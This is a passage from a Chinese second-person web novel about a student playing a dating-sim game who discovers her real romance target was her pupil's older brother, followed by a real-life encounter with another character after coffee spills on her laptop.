他立马起身：“那我给你做一杯薄荷水吧？”
还没等你答应，他已经一杆子蹿到几米外的茶水台前，“哗啦啦”从制冰机里铲出一铲子冰。
你不得不怀疑他只是太不想上课。
座位上转身看过去的你表情实在一言难尽。
茶水台前，他背对着你忙来忙去，你一会儿听到他切东西的声音，一会能听到他开易拉罐的声响，他肩宽腿长，具体的你也看不到。
只能从他动作间的缝隙里看到他扔了个什么进杯中，激起一连串的透明气泡。
或许是感受到背后灼灼的视线，他抽空转头安抚你：“马上就好。”说完，又回身摇起了冰杯。
你得承认，你被他安抚到了。
你现在其实别无所求，只要他在你的视线内，你还要什么自行车？
反正只有十分钟了，你也不是那么急。
他很快回来，一手一杯杯壁挂满沁凉水珠的饮品。
你看着沉在透明气泡水里的梅子和浮在其中的香水柠檬，问他：“不是说薄荷水，薄荷呢？”
他不由分说将两杯饮料塞进你手中，然后扬臂跨过你头顶，从你身后的桌角拿起一盆薄荷盆栽。
你：“……”
他能不能尊重一下你的身高？
你头顶他落下的阴影，听他随口问：“苏老师，你的全名是什么？”
你犹豫了下，回：“佑佑。”
“苏佑佑啊。”你听他小声念了遍，“还挺好听的。”
你没纠正他你不姓苏，而是叫夏佑，佑佑是平时朋友们……
“喏。”他弯腰把薄荷盆栽捧到你面前，“你喜欢哪片？”
你没能告诉他实话的负罪感被打断。
在他充满期待“快挑快挑”的目光下，你指了三片叶形好看的薄荷叶。
他如你所挑，亲手把那三片薄荷叶掐下来。
和你指的顺序都一样。
难怪上回合你在他指尖嗅到了淡淡的薄荷味。
他将薄荷叶美美点缀在你左手的饮品里。
接着，他如法炮制，又亲自挑了三片薄荷，点缀在你右手那杯饮品里。
“大功告成！”说完，他伸手拿走你左手那杯。
你：“？？？你拿错了吧？”
他语气理所当然：“没啊。”
你再抬起头，他已经把杯放到嘴边咕嘟咕嘟喝起来。
他一口喝了三分之一，发现你还呆在原地，催促道：“快尝尝，我的独家秘制。”
你尝了口，沁凉酸爽，确实很适合夏日。
你在他期待的目光中评价道：“很好喝，酸甜平衡绝佳！”
他像是不适应你直白的夸奖，偏开头看着你们两人间桌上放着的薄荷盆栽：“那你……原谅我了吧？”
你被问得有些糊涂：“原谅什么？”
“我说你……”他犹犹豫豫，比比划划，支支吾吾。
你不知怎么就懂了。
在他终于酝酿好开口时，伸手捂住了他的嘴，一脸严肃警告：“不、许、说！”
他被你挡了下半张脸，露在外的错愕的眼越发显大。
你看着看着莫名有点心虚：“扯平了。毕竟我也摸了你……”
“屁”字还没说出，你就被他捂住了嘴。
或许是因为他刚刚切过柠檬，你在他掌心闻到了沁人心脾的柠檬清香。
很好闻。
你小狗一样吸了吸鼻子。
他一下向后弹出三步。
椅子又一次无情滑出一米远。
然后，你们面面相觑，一起尴尬了。
他左看右看，最后救命稻草一样抓起桌上的试卷：“讲题吧！”
“这道、这道还没讲呢。”他胡乱指了一处。
你麻溜顺着他搭好的梯子爬下来。
最后的十分钟英文课，没有任何意外发生。
你们宛若无产阶级最坚定的拥护者，一脸庄严教课、听课。
当你拿着笔，讲完一道题，半天没听到回复，疑惑看向傅谨言，就见他维持着微偏头看你的动作被定格了。
你抬头往上望去，熟悉的庆祝过关成功的彩色礼花洋洋洒洒而下。
你望着眼前被定格的傅谨言，有一种不真实的感觉，竟然成功过关了？
你好心帮傅谨言一一摘掉落在发间的彩色礼花碎纸，等着系统把你带出游戏。
眩晕感袭来时，你右手覆上了傅谨言一直看着你的眼，帮他落下了眼皮，轻轻对他说了句：
“摸了你的屁|股，对不起。”
***
你回到了熟悉的游戏空间。
听到了阔别已久的系统电子男音：
“亲爱的玩家MarySu，恭喜你成功过关，获得三张?游戏CG。请问，你是否要现在查看？”
上次是四张游戏CG，这次是三张，果然如你所猜，是一个回合一张。
你推测，查看游戏CG是游戏过关后必走的流程，所以，你第一时间表示拒绝。你要是现在同意，又像上次查看完CG，直接被踢出游戏怎么办？
你学精了。
你要先把心中的疑惑问出来。
你：“系统，我刚进入游戏时看到游戏的名字叫‘燃烧吧，小I人’，这个I是mbti那个i，还是l
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ove的那个l？”
你等了一会儿，才听到系统的回复：“经查询，本游戏开发者并未对游戏名字的具体含义做出注释。就此问题，系统无法给予准确答案。”
你：“……”
你：“那你们这是个什么类型的游戏，你总清楚吧？”
系统这次回得很快：“本游戏为恋爱游戏。”
行了，上个问题的答案你自己悟了。
那……这有悖于你玩这游戏的初衷啊？
你要是知道这是个恋爱游戏，肯定不会玩啊，恋爱什么的，你从来都是军师。
老话怎么说来着，军师不下战场。
你想着想着就把心中所想问出来了：“那我玩这个游戏干吗？”
系统：“通关所有游戏关卡，即可获得价值八百万的奖品。”
你听到了什么？你立马精神起来！
“八百万！！！”你惊呼，“人民币？！”
系统的电子音一如既往毫无波澜：“是的，八百万人民币。”
八百万，你贫瘠的大脑现在可劲儿想都想不出它长什么样。
你玩完这把本来又想退游了，这游戏太耗精神力，可现在，只是出卖灵魂的话，你必须拍马加鞭往上冲啊！八百万，就现在这个就业形势，你毕业后当牛做马二十年估计都赚不到。
你可不是某音视频里被问及“选700万还是选可以上清华的700分”，犹犹豫豫最后选700分的清澈男高女高们。
但你不能让系统看出你的迫不及待。
你得矜持。
你需要冷静一下，于是，你小手一挥：“现在看游戏CG吧。”
话音一落，三张闪着金光的黑色卡牌从斜上方飞来，从左到右依次背对着停在你眼前。
其实，你根本不好奇这三张游戏CG背后是什么场景。
有了上次的游戏经验，再加上知道它是恋爱游戏，你现在就是用脚后跟都能猜出它截选了哪些画面。
第一回合，你连任务目标都没见着，就被扑上来的“雨果”吓傻了。
你猜游戏肯定选的是这个画面，然后用它鬼斧神工的光影特效，把此时远远站在阶梯上方看笑话的傅谨言处理成嘴角含笑看着你们一人一狗的模样。
第二回合，不能和第一回合场景重复的话，可选的大概只有他帮你擦湿发的场景了。
后来，你在浴室里和门锁斗智斗勇的精彩场景因为缺少傅谨言的出现，大概没机会入选了。
第三回合……
你回忆着刚刚过去第三回合。
是他挡在他哥和你中间的场景？
是你们后来“岁月静好”的授课场景？
是他捧来薄荷盆栽让你挑选的场景？
还是你们先后捂住了对方的嘴？
……
你发现这回合可供挑选的素材有些多。
你现在突然有点期待翻开这些精美的巴洛克绘纹卡牌了。
你抬起手指，点开第一张卡牌。
随着一声清脆的“叮”响，卡牌丝滑翻转，在你眼前放大。
你愣了下。
出乎你的意料，是你在盘山公路上飞骑的画面。
绝美的光影处理下，阳光和夏风在你向后飞扬的发丝间舞动跳跃。
青春的生命里从静止的卡牌里扑面而来。
卡牌非常好看，是可以放入你人生照片Top10系列里的那种。
但你没想到游戏选了这个场景。
你又抬起手指，点开了第二张卡牌。
是你和毛发油亮的“雨果”在庭院里玩得正欢的场景，你手里的红茶汤即将告罄，特意为雨果挤出360度红茶汤圈的画面。
你疑惑往卡牌的边角处看去。
没有找到熟悉的身影，卡牌的取景甚至没有取到浅灰的石阶。
你迟疑着点开第三张。
你错愕地发现，这次的卡牌里不仅没有傅谨言，连你都没有了！
画面里，是你从未见过的办公室。
美国大片里摩天大楼里带180度落地窗的那种非常摩登的办公室。
一个挺拔的背影立在落地窗前，你仔细看去，发现他手里似乎拿着个……
手机？
17. 男高家教挑战（10）
你盯着最后一张卡牌。
不得不怀疑系统发错了卡牌，把别的玩家的卡牌混进你这里。
场景你没见过就罢了，身为游戏玩家的你更是彻底没了影子。
不过……
这个你素未谋面的玩家挺帅的。
他的游戏场景也很酷，和你小打小闹的家教游戏不同，一看就是动辄几百亿的商战游戏。
金丝镜框、手机屏上和唇角的几抹高光，上位者松弛的矜贵感跃然纸上。
哈哈哈哈哈哈，系统这个傻子到现在还没发现它的工作失误，你一定要抓紧它这个小辫子。
至少从它身上抠出个游戏大礼包来。
你伸出指尖，淡定点了点最后一张卡牌：“搞错了。”
你没直接威胁要投诉系统，你准备先看看它的态度。
系统的电流音在空间里滋滋响了半天，没说出一句话来。
嘿嘿，你在心里得意，傻了吧你？还想装傻？
“这张卡牌是别的玩家的吧？”你清了清嗓子，“别紧张，你可能不了解，我现实中是个好人。”
你趁机为游戏里被逼无奈的骚操作辩解一番。
空间内响起一阵键盘敲打声，随即你听到系统的回答：“经查询，这张卡牌的确属于玩家MARYSU。”
怎么可能？
“我在哪里？”行了，一看这卡牌里就没有你，你指着落地窗前老钱范儿十足的男人背影问系统，“你先告诉我他是谁。”
系统：“他是本关游戏的攻略目标傅谨越。”
？？？？？
你十分怀疑自己的耳朵。
傅谨越？
你的攻略目标？
你脱口而出：“那傅谨言呢？”
又是一阵键盘敲打声响起：“经查询，傅谨言为攻略目标傅谨越同父同母的弟弟。”
系统或许是看出了你脸上天崩地裂的不可思议，难得为你进一步解释道：“本游戏每关游戏结束后可供玩家免费查看的游戏CG只会出现玩家本人和可供攻略目标。玩家质疑的傅谨言为本关游戏的重要配角之一，并不符合游戏免费CG的出现要求。”
等等，你觉得你得缓缓。
你的CPU烧了。
你的任务明明是给傅谨言上满一个小时的家教课，游戏让你给傅谨言上课，你的任务目标却不是傅谨言？
这是什么绕脑令？
等等，你记得刚才系统用的词是“攻略目标”？
你问：“攻略目标是……什么意思？和任务目标有什么区别？”
系统：“为了帮助玩家获得特定攻略目标的好感，游戏会发布与其相关的任务，让玩家可以在达成任务的过程中，自然而然与攻略目标接触，获得其好感值。”
所以……
傅谨言就是你和傅谨越play上的一环？
……然后，你傻傻和这一环苦苦奋斗三回合六个小时，结果是和你的攻略目标全程见面不到十分钟？
你以为不会有比那个背影属于傅谨越更让你惊讶的事情了。
这不合理！
你坚决不相信。
“怎么可能？傅谨越怎么可能是我的攻略目标，要不是我利用自己的智慧，成功从浴室里逃脱，我压根都见不到这个所谓的“攻略目标”的一根毫毛！这种人怎么可能是攻略目标，一定是你们搞错了！”
系统：“根据游戏提供的通关范本，玩家可以在游戏开始的第三十八分钟见到攻略目标本人。”
什么？
你第三十八分钟就能见到傅谨越了？
不可能啊，你三回合好一生折腾才勉强能在半个小时见到傅谨言好吧。
你：“游戏还有通关范本？那你倒是给我说说，我如何能在三十八分钟内见到傅谨越。”
系统：“解锁通关范本需要200游戏积分。”
系统：“滴——玩家的游戏积分余额不足，解锁失败。请玩家继续努力。”
这游戏还有积分？
你：“那我有多少积分？”
系统：“玩家两轮游戏共计获得138积分。”
话落，你面前出现一块悬浮的浅蓝色透明面板：
【玩家MARYSU的积分情况
第一轮游戏总分：68
通关基础分：60
创意度分：5
浪漫度分：2[BackHug（2）]
苏爽度分：0
好感度分：1[怜悯之情（1）]】
你看着好感度1分后的“怜悯之情”，一时不知道是你第一关的任务目标简骁泽在怜悯你，还是游戏在怜悯你……
【第二轮游戏：
通关基础分：70
创意度：1
浪漫度：2[发送情侣照片（2）]
苏爽度：6[二男争一女（2）、大打出手（2）、兄弟盖饭（2）]
甜蜜度：1[互通姓名（1）]】
你依次扫过那些奇奇怪怪的词汇，视线定格在“兄弟盖饭”四个字上。
你：“什么是兄弟盖饭？”
系统：“‘兄弟盖饭’为玩家所在的时空深受言情小说读者喜欢的热门小说标签之一。”
解释了好像又没解释。
等等？
你挖空脑袋想出的通关办法创意度是1？
…………………………
你今天还非得看看通关范本到底多有创意！
“就差62分呗。”你厚着脸皮和系统交涉，“那我先预支下一轮的积分。”
系统：“本游戏不提供积分贷款服务。”
你：“……”
你眼珠子一转，计从心来。
你捂住心口自言自语：“心脏怎么不舒服……难道是第一回合被突然扑上来的金毛吓的？系统按理来说该给我预警一下吧？哎，身心健康受到了损害，是不是该去投……”
你“诉”字还没说完，系统音响起：“玩家MarySu成功预支62积分，解锁第二轮游戏通关范本。”
你心下一喜，成了。
下一秒，你面前凭空降下一道巨幅幕布，通关范本以电影的方式在你面前播放起来。
“你”扶着自行车站在盘山道上，观察了周围一圈，开始检查起携带的东西。
“你”扫了眼地球环保图案帆布袋内的所有东西，拿出了手机，翻查了会儿微信聊天记录。
“你”放下手机，开始检查浅粉色的自行车。
很快，“你”找到了自行车维修工具箱。打开后，“你”纤细的食指从箱内码放整齐的一排工具上划过，最后停在了末尾的尖嘴钳上。
“你”取出尖嘴钳，蹲下，眼睛左右横扫了下，拿着尖嘴钳的手朝前轮胎用力戳去。
屏幕外的你一脑门子问号。
自行车前轮胎以你肉眼可见的速度瘪下去，“你”拿出手机，打开相机，对着瘪掉的前轮胎拍了张照片，发给微信对面那人。
Su：「我的自行车轮胎半路被扎了，好像没法及时赶到了。」
Su：「抱歉哭泣.jpg」
Su：「我带了备用内胎，但我还没来得及学怎么换，你知不知道怎么换啊？」
画面一切，一间似曾相识的办公室，乌黑的办公桌横在你的视野前。
伏案工作的西装男人被一旁的手机震动声打断，抬起了头，与此同时，你认出了这是第三张卡牌里的办公室。
屏幕外的你仿佛看到了世界在你眼前毁灭，恐龙现世！
天哪，你死死捂住脸。
微信对面竟然是傅谨言他哥！！！！！！！！！！！！
啊啊啊啊啊啊啊，上帝啊，你到底干了什么啊？
你给学生家长发了什么？
你泡在浴缸里……给学生家长发那、样、的照片！
那张照片……
傅谨言看了知道你在挑衅。
傅谨越看了……那妥妥的明目张胆的擦边……
老师加擦边，这是晋江里写都不敢写的东西啊……
你两只眼睛、两个耳朵、被抓乱的头发，每一个都不敢想象
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傅谨越看到那张照片时的表情。
难怪傅谨越见你的第一句是“苏老师，久仰。”
原来久仰不是你以为的虚伪客套，真是“久、仰”。
是嘲讽点拉满的久仰。
你裂了。
捂住脸的五指也一齐裂了。
你好像没什么好失去了，你的脸早就囫囵个丢在傅谨越“久仰”后意味深长勾起的嘴角里。
你自暴自弃又看起了通关范本视频。
视频在你捂脸期间并没有暂停。
你放下手，又看到了熟悉的盘山公路。
黑色的劳斯莱斯缓缓驶向路旁停放的自行车，最终安静停下。
暗色的后车窗缓缓降下。
富有光泽感的发丝向下一横条一横条拼出傅谨越睥睨看出窗外的冷漠表情。
他漫不经心的视线穿过自行车框架落在路边低头尝试换轮胎的“你”身上。
他没有说话。
车窗又安静升上去，“你”毫无所觉，直到下来的司机把“你”请上了车。
屏幕外的你立马对系统抗议：“不合理！”
你记得傅谨越给你的名片上，他的头衔是执行董事。
“傅谨越这种级别的人哪有时间专程来接个补课老师；而且他本人看起来和恋爱脑没有一分钱关系，他最多派个司机来。”你不知道你错过的剧情发生了什么，但断言道，“你们这个通关范本不合理。”
系统暂停了播放。
系统回答你：“每周六中午，傅家一家四口会进行家庭聚餐，如果没有什么特殊情况，傅谨越会亲自前往馥桂茗苑接上弟弟傅谨言，一同前去和父母聚餐。“你”的信息不过是诱发了傅谨越的提前到来，顺便查看一下一周未见的弟弟学习情况如何。”
你想到了第二回合门外的李管家也告诉你“小少爷和家人约了午饭。”
无言可怼的你：“他们两兄弟不是一起住？”
系统：“根据背景资料，傅谨越只是偶尔会去馥桂茗苑小住，大部分时间馥桂茗苑都是傅谨言独住。”
你点点头，怪不得那个家里的人似乎非常听傅谨言的话：“继续播吧。”
傅谨越和“你”先后下车，“你”跟在他身后，他推开了那扇虚掩的门。
雨果朝“你”撒欢奔来，受到惊吓的“你”猛地攥住了傅谨越的袖口，整个身子躲在他身后。
他回头低声对“你”说了几句，“你”才放开他的袖口，从他身后探出头来和“雨果”打招呼。
傅谨言不知何时，早已走到近前，见到“你”十分有礼地叫了一声“苏老师。”
你们礼貌招呼过后，两条小尾巴一样一左一右整齐跟在傅谨越身后。
傅谨越上了台阶推开门，那盆冷水这次兜头浇到了傅谨越身上。
傅谨越被淋湿的西服背影在屏幕上久久定格，淋湿的西服勾勒鲜明出他后背绷紧的线条。
好半天，他才转过头来朝“你”说了句：“抱歉，我先去换身衣服。”
傅谨越离开后，“你”仰头打量了一番，调侃傅谨言：“你这装备搞得不错啊。”
沉闷尴尬的气氛瞬间被打破，“你”和傅谨言有一搭没一搭聊起来。
直到傅谨言的手机响起。
傅谨言接起电话，听了没几秒，脸色大变朝楼梯方向跑去。
屏幕外的你看到傅谨言慌张推开第二回合困住你的浴室门，尽头的浴缸旁背光立着高大的傅谨越。
“哥……”傅谨言跑得似乎断了气，“你听我给你解释。”
“解释什么？”傅谨越冷哼，“解释为什么往我的浴缸里洒满了玫瑰花？”
屏幕外的你：“谁、谁的浴缸？”
你捂住了嘴，掌心盈满的清冷雪松香瞬间涌入鼻腔。
不止是你的掌心，你想起你一泵一泵不要似的压沐浴露……
你现在浑身上下都透着雪松的冷香。
沐浴露也、也是傅谨越的……
合着你以为对傅谨言暗戳戳的叫嚣，是张牙舞爪舞到人家正主脸上去了……
18. 男高家教挑战（11）
“啪——”
响亮的巴掌打断你脚趾向地心挖穿的进程。
你双目重新聚焦。
荧幕上，傅同学被打偏了右脸。
傅谨越转了转手腕，放下了手。
俗话说的好，站着说话不腰疼，屏幕外的你噗嗤一声笑出来。
哈哈，看来有没有你，傅谨言这个欠儿登都躲不过这一巴掌。
傅谨越容色淡淡，没了你作观众，他连个被打的理由都懒得给傅谨言。
不过，你想也能猜到，无非是那盆兜头而下的冷水，或是眼前浴缸里浪漫娇艳却不合时宜的红玫瑰。
傅谨言想来十分清楚自己为什么被打，一语未发。
傅谨越朝傅谨言身后门的方向抬了抬眼，傅谨言立马心领神会，马不停蹄退了出去。
场面像极了锯嘴的皇帝和深谙帝心的御前大总管，身为旁观者的你看得十分乐呵。
傅谨言出去后并未离开，修长的身体舒展靠在走廊墙上。
微仰着阖眼，清晰的下颌线愈显利落。
你心中好笑地猜，傅谨言大概在复盘自己到底棋差哪一步。
屏幕外的你和屏幕里的傅谨言没等太久，浴室的门被打开。
傅谨越一身板正的西装走出来。
修整的模样完全不像刚从浴室里走出。
傅谨言闻声睁开眼，只来得及追到他大哥大步流星掠过他的一抹衣角。
跟是不跟？傅谨言在原地踟蹰。
眼见他大哥的背影将要消失在转角，才听到不咸不淡扔过来的：
“跟上。”
傅谨越带着傅谨言重新出现在“你”面前，把傅谨言交给了“你”。
有了之前那一出，“你”和傅谨言一小时的家教课进行得十分顺利。
没了傅谨言说你平，你捏他屁|股，他哥因此打他一巴掌的奇怪剧情，自然也没了你们共面大boss后靠在书房门后劫后余生的谈笑斗嘴。
傅谨言不必赔礼道歉，自然也没和“你”分享他独家秘制的薄荷水。
薄荷盆栽安静立在书桌一角，见证了“你”们结结实实上了一小时的英文辅导课。
傅谨言半点幺蛾子都没闹。
除了学习，“你”们一句闲话没聊。
上完课，“你”们走出书房，却发现傅谨越等在门外。
傅谨越和“你”交流了几句上课的情况，表示了满意。
傅谨越提及“你”坏了的自行车，表示如果“你”不赶时间，想邀请“你”加入他们兄弟共进午餐的行程来表达感谢，饭后再送“你”回去。
“你”同意了。
“你”再次坐上了那辆劳斯莱斯，和他们兄弟二人一同前往酒店。
到了酒店，引路的服务生为你们推开包房的门，“你”见到了在里面等候的傅父、傅母。
傅谨越替“你”和他们做了介绍。
得知小儿子竟安生上了一整节家教课，没像以往直接赶走或间接气走家教老师，傅母拉着“你”的手在她旁边的位置坐下来。
饭桌上，傅母很是照顾“你”。
得知“你”暑假需要找实习，傅母立马表示大儿子的公司正在招实习生，并打断了正在谈正事的傅父和傅谨越，让傅谨越给“你”介绍一下公司的各个部门，让“你”挑个喜欢的。
三言两语，“你”的暑假实习就此敲定。
攻略范本就此终止。
屏幕外的你看得目瞪口呆。
你第一次对这是个恋爱游戏有了实感。
按照这个剧情，傅谨言的确只能算“你”和傅谨越认识和进一步接触的引线。
不可或缺，却注定只是个配角。
可能因为是模拟的通关范本，视频里的人物表情都有些脸谱化，傅谨越更是全程几乎没什么表情。
没有那句令人玩味的“久仰”，没有一度让你不明就里的那些客套，没有若有似乎拂过你头顶的那声笑音，但并不妨碍你从这个剧情走向中看出“你”和他进一步发展的无限可能。
但你迷惑了。
你是怎样凭一己之力，把一个如此合情合理的恋爱游戏玩成了密室逃脱游戏？
还险些把攻略目标玩下线了？！
上关游戏结束后，你查看游戏CG时，还腹诽游戏画手强给你和任务目标拉CP，无中生有。
现在看来，完全是你错怪了游戏画手。
毕竟人家真是恋爱游戏，不硬给你们拉CP，就你第一关的玩法，实在不像话。
还有，最近一阵子，你真在四处投简历，尝试找暑假实习。
竟然还可以这样！
你又又又遗憾了一秒。
看完通关范本，你再无力争辩。
你不得不承认这是一个十分地道的恋爱游戏。
傅谨越俨然是一个非常纯正的霸总男主。
不说话的你和不说话的系统面面相觑。
还好你看不到系统的脸，所以也不是太尴尬。
你琢磨着找点儿话题，转移一下系统的注意力。
想着想着，你真想到了一个十分重要的问题。
你这次进入游戏的主要目的，三轮游戏忙忙叨叨下来，你险些忘记问了。
你：“上一关的任务目标，我在现实中见到他了，这是怎么回事？你们不会把他也拉进游戏里了吧？”
系统：“玩家上一关游戏见到的任务目标并非玩家所在时空的真人。”
幸好不是真人。
要不然就你第一关游戏里的那些骚操作，你怕出去得在简骁泽身上按上定位装置，确保他一靠近，你手机就会报警提醒你提前绕行，你才能安心出现在校园里。
你：“那是……？”
系统：“游戏为了帮助玩家真实成长，收集了玩家所在时空的各类真实数据信息，模拟生成了游戏主要人物、场景。”
收集真实信息？
你不由担心起自己的信息安全。
你：“你们不会也收集了我的信息吧？”
系统：“玩家请放心，由于数据存储空间有限，游戏只收集了玩家所在时空的高质量优秀人类数据进行模拟。”
你放心点点头。
等等！！
什么意思，它凭什么让你放心？
你放什么心？
难道你就不算高质量优秀人类？
你天天按时起床，到点上课，认真听课，周末按时给爸妈打电话，不偷不抢不抄作业，热心帮助同学上进。
从小到大，老师总喜欢把那些或调皮捣蛋或年少风流的男生安排成你的同桌。
不止一个老师和你表达过同一个意思：她们对你很放心。
事实证明，你真的是值得老师们信任的好孩子。你不仅没被他们带入花花世界，还热心帮他们步上了学习的康庄大道。
你甚至把你高三的同桌顺利带进了985的大门。
你之前还听说，（离开了你）他又恢复成从前的模样。
是他们大学在册的名草，花名在外，女朋友比秋天的韭菜换得还勤，割了一茬又一茬。
呵，当初还信誓旦旦要和你上一个学校。
幸好你临时改了学校，不然还不得天天洗眼睛。
你怎么就不算高质量优秀人类？！
士、可、杀，不、可、辱……
你要退游！
***
你气呼呼睁开眼。
入目是刺眼的阳光。
满当当的奶茶躺在你掌心。
奶盖的厚厚的，让人十分舒心，你嘴角不受控上扬。
你剥开吸管外的纸，对着又、又、又、又一次完好的塑封嗒一下戳进去。
你吸溜吸溜，吸溜吸溜。
脑子里唱着好喝、好喝、好喝。
你吸溜着奶茶一路爬上宿舍五楼，不呼哧、不带喘打开宿舍门。
除了你，舍友都在，大家齐齐朝你看来。
“这么快就打完电话
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了？”下铺舍友支起上身问你。
你愣了三秒，才记起进入游戏前随口编的“打电话”借口。
你含着吸管附和点头。
没人知道你心里的猫腻，大家又各忙各的。
你躺在柔软的上铺，望着雪白的天花板。
第二次了，你还是恍然有种不真实感。
四肢是安静的，可你感觉有什么在血脉里沸腾、叫嚣。
你的脑子不受控地回放着刚刚过去的一个个回合。
还有你贷了64分解锁的通关范本。
……
你猛地从床上坐起，是这样！
你从始至终都在试图自己解决所有的问题，从没想到创造机会和微信那头的身份不明的人（傅谨越）搭上线。
你没有向别人求助的意识，也因此错失了别人进入你世界的机会。
于是乎，一个好好的恋爱游戏，被你一本正经、独立自主玩成了密室逃脱。
难道，这就是你一直单到现在的原因？
“佑佑？”
“佑佑？”
室友们纷纷望向你，眼神问你怎么突然一惊一乍。
你豪迈一拍床边的栏杆：“中午不吃食堂了，肯德基全家桶，我请！”
***
周六，难得的休息日。
为了能心情愉快做期末小论文，你花了32大洋，点了杯天鹅拉花的拿铁，坐进了放着悠扬爵士乐的咖啡店。
店内，咖啡香气四处弥漫。
你坐在窗边，仰望午后明媚的阳光。
你安慰自己。
32元，你是在为这美好的香气、自由的光影和迷人的jazz付费。
至于过去的一周，你为什么一直没去图书馆，你不是很想细思。
人，只要活得够久，就难免会骗人。
骗不了别人的人，就难免会自我欺骗。
你打开笔记本电脑，并非常有安全意识，把精致的天鹅拉花拿铁远远推到了安全距离外。
你在迷人的日光中，沉浸式敲着令人目眩神迷的小论文。
桌上的日影随着爵士乐渐宽的颤音渐渐西斜……
“咣”一声响亮的拍桌子。
你僵硬的坐姿为之狠狠一颤。
“你到底有什么了不起的！”女声尖着美丽的高音，发出灵魂拷问。
八卦！
你混沌成糊的灵魂瞬间抖擞起来，目光如炬打向事发现场。
巧了，就是紧邻你的前桌。
一男一女对坐。
女人对着你。
栗色的波浪长发，巴掌大的小脸，精致的妆容，美女啊。
唯一的缺点就是表情稍微有些扭曲了。
这么漂亮的女人，你倒要看看是哪个拉□□不、长、眼……？
背对着你的男人的背影……
你越看越熟、悉？
你心中忐忑的擂鼓渐响，对面的美女抢先一步吼出答案：
“简、骁、泽！”
你来不及感叹一句果然是他，就见男人的背影向右一闪，一大杯冰美式连冰带咖啡齐齐朝你扑来。
你望着阳光下闪着碎光的浅棕色液体，脑海一秒闪过“雨果”哈着舌头的脸，不知“雨果”第一次见到这幅场景，是不是也如你一般震惊……
震惊到冰块在你笔记本键盘上“大珠小珠落玉盘”，你才反应过来，“腾”一下站起来。
沙发椅“滋啦——”在瓷砖上划出刺耳的声响。
面对指责、被泼水始终淡然的背影终于有了动静。
他转过了身。
你却无心去看两人的表情，无心指责任何人，一心只想抢救你的电脑。
你赶忙去够桌子另一端的纸巾盒，一手咔咔咔抽纸巾，一手拨走键盘上的冰块用纸去吸咖啡液。
一片狼藉和慌乱的手脚里，一截冷白的食指猝不及防闯入，利落按下了电脑的关机键。
也按停了你的兵荒马乱。
19. 现实2.1
右手手背蓦地一重，你定在那截不速之客上的视线滑落。
字母键盘上横流着浅咖的液体，空心冰块折着窗外刺目的光。
而你的手背，凭空多出块秋香绿的英伦格纹手帕。
你的第一反应是这个吸水。
比咖啡馆免费提供的手纸更吸水。
你抓起手帕。
柔滑细腻的触感让你动作顿了下。
你怀疑它价格不菲。
咖啡渍会不会很难洗？
你没有清洗咖啡渍的经验，可眼下也不容你拿出手机，仔细百度一翻。
算了，还是你的电脑更贵。
犹豫间，你伸向键盘的手帕冷不防又被那截冷白的食指格开。
你奇怪看向手指的主人。
只一眼，你就被他轻掀眼帘，横瞥过来的眼神晃了眼。
清清淡淡的，你读不懂其中的含义。
偏就像一片冷雪，压上了你的睫毛。
就在眼前，晃也晃不掉。
你于是支棱起眼皮给自己壮势，努力瞪大眼一眨不眨，无声问他“干嘛？”
他也吝啬言语，只下巴尖朝侧下方点点。
你们仿佛默契在玩同一个游戏。
你晚了几秒才顺着看去。
是你关了机的电脑屏幕。
黑漆漆却清晰映着被咖啡溅湿长发的你。
狼狈的你。
“你才是优先级。”他长指夹走你肩头长发里窝着的一块冰。
你后知后觉捏紧手帕。
对着光可鉴人的电脑屏幕，你慢慢理起自己的长发。
简骁泽横亘在你和屏幕间，躬身拾掇键盘上的狼藉。
冰块被他一一拾起包好，按键边角的咖啡渍渐渐浸湿他指间的雪白纸巾。
你望着屏幕里在你身前起伏的身影……
若有似无的咖啡香气里，时间和呼吸，一同为爵士乐的颤音放慢了脚步。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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p>
“啪嗒。”
被当做镜子的电脑屏幕被合上。
你这才注意到那漂亮的肇事者不知何时已离开。
你：“你有她的联系方式吗？”
他：“没有。”
“她都朝你泼咖啡了，你还……”你脱口而出后，又觉得二者其实没什么必然联系。
他追问：“你还什么？”
“没什么。”你摇摇头。
你想起游戏里向他要联系方式的曲折经历，又觉得他们没有联系方式合情合理起来。
简骁泽单手拿起你的笔记本电脑，动作间示意你“走吧。”
动作太过自然，你有一瞬怀疑电脑的主人其实是他。
你站着不动，眼神狐疑：“去哪？”
他似乎被你警惕的表情逗出一缕笑。
他冲你挑了下眉。
“开、房。”
你实在没控制住，当场露出恍若被五雷轰顶的难以置信。
20. 现实2.2
男生宿舍楼下，你不自在地左瞄瞄，右看看。
生怕下一秒哪个方向蹿出个认识你的男同学，随口问你句：“夏佑，等谁呢？”
随口回个“没等谁”最好，可你有道德包袱，不想为这点小事撒谎。
诚实回“简骁泽”？
以你室友给你普及过的他的知名度，你毫不怀疑你今晚会成为该男生宿舍蛐蛐茶话会的前菜。
菜名……你都想好了。
叫“痴心妄想”。
明明已近黄昏，脚下的石砖却好似烫脚，三分钟不到，你就躲去远处的一棵大树后。
碗口粗的树干后，你谨慎探出上三分之一的头。
其实，你后悔跟简骁泽来了。
按你以往的性格，即使你对电脑的修理一窍不通，有一定概率会被学校附近的电脑维修小店宰，你也会自己去修电脑。店家提出的修理费，脸皮薄的你成功砍个十块八块，心里就乐颠乐颠了。
你不会麻烦只知道个名字的简骁泽。
甚至这个名字，也不是名字的主人亲口告诉你的。
这才算真的久仰吧。
你不禁想起了傅谨越，当你得知一切真相后，他的那句“久仰”愈发意味深长起来。
你晃晃头，摇走越跑越偏的思路。
你盯着男寝的大门继续复盘。
那你为什么就同意跟来了呢？
难道是通过你室友的普及，你得知他是计算机系的学霸，潜意识里觉得学计算机的人都会修电脑？
又或许是你总结了上次游戏的经验，学会了敞开心扉，向他人求助？
总不会是被简骁泽最后那个“怎么，怕了啊”的小瞧你的眼神整上头了？
太勇了，完全不是你风格啊……
你怀疑这是你玩游戏的后遗症。
知了在你头顶歇斯底里。
仿佛在说：“知了——知了——她又菜又爱玩——”
你对着来来往往的男寝大门望眼欲穿。
终于盼来了简骁泽的身影。
你一秒认出了他。
他却没有看到你，正在台阶上四处张望。
你在树后对他摆摆手。
他没看到。
你又举高胳膊，挥挥手。
他还是没看到。
你把手臂挥得虎虎生风，架不住简骁泽死活不往树的方向瞧。
你：“……”
你只好从树后走出，远远走到他能看到的地方。
你们的眼神终于隔空交汇。
下一秒，你立马转身。
右手小鱼摆尾般在身后小小摆了摆，示意他跟上。
于是，你们一前一后，保持着一米开外的距离走出了危险的男寝区。
穿过校园。
走出了校园大门。
你谨慎又拐出百米左右，才停下来，回头找他。
